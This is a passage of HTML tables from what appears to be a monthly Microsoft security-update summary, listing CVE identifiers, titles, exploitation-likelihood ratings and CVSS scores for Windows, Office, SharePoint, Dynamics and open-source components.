href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42983">CVE-2026-42983</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44802">CVE-2026-44802</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45602">CVE-2026-45602</a></td><td><p>Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42836">CVE-2026-42836</a></td><td><p>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44803">CVE-2026-44803</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44812">CVE-2026-44812</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42972">CVE-2026-42972</a></td><td><p>Windows Hyper-V Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45607">CVE-2026-45607</a></td><td><p>Windows Hyper-V Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45641">CVE-2026-45641</a></td><td><p>Windows Hyper-V Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45592">CVE-2026-45592</a></td><td><p>Windows Internet (wininet.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42903">CVE-2026-42903</a></td><td><p>Windows Kerberos Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42914">CVE-2026-42914</a></td><td><p>Windows Kerberos Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47288">CVE-2026-47288</a></td><td><p>Windows Kerberos Key Distribution Center (KDC) Remote Code Execution</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48583">CVE-2026-48583</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45653">CVE-2026-45653</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42984">CVE-2026-42984</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45595">CVE-2026-45595</a></td><td><p>Windows Mark of the Web Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48574">CVE-2026-48574</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45636">CVE-2026-45636</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50508">CVE-2026-50508</a></td><td><p>Windows NTLM Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45487">CVE-2026-45487</a></td><td><p>Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42828">CVE-2026-42828</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42837">CVE-2026-42837</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42969">CVE-2026-42969</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42971">CVE-2026-42971</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42970">CVE-2026-42970</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42973">CVE-2026-42973</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42978">CVE-2026-42978</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42977">CVE-2026-42977</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42979">CVE-2026-42979</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42991">CVE-2026-42991</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45639">CVE-2026-45639</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42908">CVE-2026-42908</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45593">CVE-2026-45593</a></td><td><p>Windows SDK Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42906">CVE-2026-42906</a></td><td><p>Windows Shell Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42907">CVE-2026-42907</a></td><td><p>Windows Shell Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47648">CVE-2026-47648</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42915">CVE-2026-42915</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42904">CVE-2026-42904</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42968">CVE-2026-42968</a></td><td><p>Windows Telephony Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42912">CVE-2026-42912</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40409">CVE-2026-40409</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40404">CVE-2026-40404</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45599">CVE-2026-45599</a></td><td><p>Windows UPnP Device Host Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45635">CVE-2026-45635</a></td><td><p>Windows UPnP Device Host Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42989">CVE-2026-42989</a></td><td><p>Winlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Mariner vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40930">CVE-2026-40930</a></td><td><p>LIBPNG: Chunk smuggling in push-mode APNG parser via unconsumed chunk body</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.4</p></td></tr></tbody></table><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40371">CVE-2026-40371</a></td><td><p>Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>Microsoft Office vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44822">CVE-2026-44822</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45455">CVE-2026-45455</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45469">CVE-2026-45469</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44817">CVE-2026-44817</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44818">CVE-2026-44818</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44820">CVE-2026-44820</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44823">CVE-2026-44823</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45459">CVE-2026-45459</a></td><td><p>Microsoft Excel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47293">CVE-2026-47293</a></td><td><p>Microsoft Office Click-To-Run Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45485">CVE-2026-45485</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44821">CVE-2026-44821</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45460">CVE-2026-45460</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45483">CVE-2026-45483</a></td><td><p>Microsoft Office Project Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45475">CVE-2026-45475</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45472">CVE-2026-45472</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45474">CVE-2026-45474</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44819">CVE-2026-44819</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44824">CVE-2026-44824</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45461">CVE-2026-45461</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45645">CVE-2026-45645</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45463">CVE-2026-45463</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45456">CVE-2026-45456</a></td><td><p>Microsoft Outlook and Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45458">CVE-2026-45458</a></td><td><p>Microsoft Outlook and Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47635">CVE-2026-47635</a></td><td><p>Microsoft Outlook and Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45484">CVE-2026-45484</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45454">CVE-2026-45454</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47298">CVE-2026-47298</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45467">CVE-2026-45467</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45468">CVE-2026-45468</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45479">CVE-2026-45479</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45453">CVE-2026-45453</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47636">CVE-2026-47636</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47637">CVE-2026-47637</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47638">CVE-2026-47638</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47639">CVE-2026-47639</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47641">CVE-2026-47641</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33113">CVE-2026-33113</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45462">CVE-2026-45462</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45464">CVE-2026-45464</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45465">CVE-2026-45465</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47634">CVE-2026-47634</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47640">CVE-2026-47640</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45481">CVE-2026-45481</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48560">CVE-2026-48560</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48562">CVE-2026-48562</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42835">CVE-2026-42835</a></td><td><p>Microsoft Teams for Android Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45466">CVE-2026-45466</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45471">CVE-2026-45471</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45486">CVE-2026-45486</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45643">CVE-2026-45643</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45457">CVE-2026-45457</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45649">CVE-2026-45649</a></td><td><p>Office for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44803">CVE-2026-44803</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44812">CVE-2026-44812</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Open Source Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-11463">CVE-2026-11463</a></td><td><p>USCiLab Cereal Shared Pointer type confusion</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49975">CVE-2026-49975</a></td><td><p>Apache HTTP Server: mod_http2 denial of service</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50265">CVE-2026-50265</a></td><td><p>Rejected reason: This CVE ID was assigned as a duplicate of CVE-2026-50292</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40930">CVE-2026-40930</a></td><td><p>LIBPNG: Chunk smuggling in push-mode APNG parser via unconsumed chunk body</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-10879">CVE-2026-10879</a></td><td><p>DBI versions before 1.648 for Perl have a heap overflow when preparsing SQL statements with more than 9 binders</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50261">CVE-2026-50261</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: use-after-free in 